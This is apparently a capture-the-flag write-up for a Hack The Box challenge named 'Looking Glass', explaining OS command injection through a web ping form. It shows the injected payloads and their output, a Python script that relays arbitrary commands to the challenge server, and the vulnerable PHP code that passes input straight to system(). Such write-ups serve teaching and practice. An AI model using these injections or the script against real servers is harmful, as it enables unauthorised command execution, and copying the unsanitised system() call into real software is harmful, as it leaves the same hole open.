Looking Glass

Analysis

When we start the instance, we are met with an options menu:

It appears as if we can input the IP, which is then pinged. Let's imagine for a second how this could be implemented on the server side. A common trap developers can fall into is doing something like:

system("ping -c 4 " + ip);

Essentially, we're passing the parameters to bash. This means we could, theoretically, insert a ; character into the ip variable, and everything behind it would be interpreted as a seperate command, e.g.:

system("ping -c 4 178.62.0.100; ls");

Here, ls would be run as a separate command. Let's see if it works!

Exploitation

Let's try it by simply inputting ; ls to the end of the IP and submitting:

PING 178.62.0.100 (178.62.0.100): 56 data bytes
--- 178.62.0.100 ping statistics ---
4 packets transmitted, 0 packets received, 100% packet loss
index.php

Look - as well as the ping command, we get index.php, which is the result of the ls command!

There doesn't appear to be a flag, so we'll try ; ls / to read the root directory next:

PING 178.62.0.100 (178.62.0.100): 56 data bytes
--- 178.62.0.100 ping statistics ---
4 packets transmitted, 0 packets received, 100% packet loss
bin
boot
dev
entrypoint.sh
etc
flag_2viTb
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
www

Woo - there's a flag_2viTb file! Now we'll inject ; cat /flag_2viTb to read the flag:

PING 178.62.0.100 (178.62.0.100): 56 data bytes
--- 178.62.0.100 ping statistics ---
4 packets transmitted, 0 packets received, 100% packet loss
HTB{I_f1n4lly_l00k3d_thr0ugh_th3_rc3}

And boom, we've got the flag - HTB{I_f1n4lly_l00k3d_thr0ugh_th3_rc3}.

Automation

Because I prefer a command-line interface, I originally created a simple script to inject parameters for me:

from requests import post

cmd = input('>> ')

data = {'test': 'ping', 'ip_address': f'178.62.0.100; {cmd}', 'submit': 'Test'}
r = post('http://178.62.0.100:30134/', data=data)

data = r.text
data = data.split('packet loss\n')[-1]
data = data.split('</textarea>')[0]

print(data.strip())

This simply inputs the command as cmd, sets the POST parameters, and (really messily) parses the response to return just the data.

$ python3 exploit.py 
>> cat /flag_2viTb      
HTB{I_f1n4lly_l00k3d_thr0ugh_th3_rc3}

Checking the Source

We can inject cat index.php to see what exactly was happening, and we immediately see the following lines:

function runTest($test, $ip_address)
{
    if ($test === 'ping')
    {
        system("ping -c4 ${ip_address}");
    }
    if ($test === 'traceroute')
    {
        system("traceroute ${ip_address}");
    }
}

As we guessed, it passed in the input without sanitising it to remove potential injection.

Last updated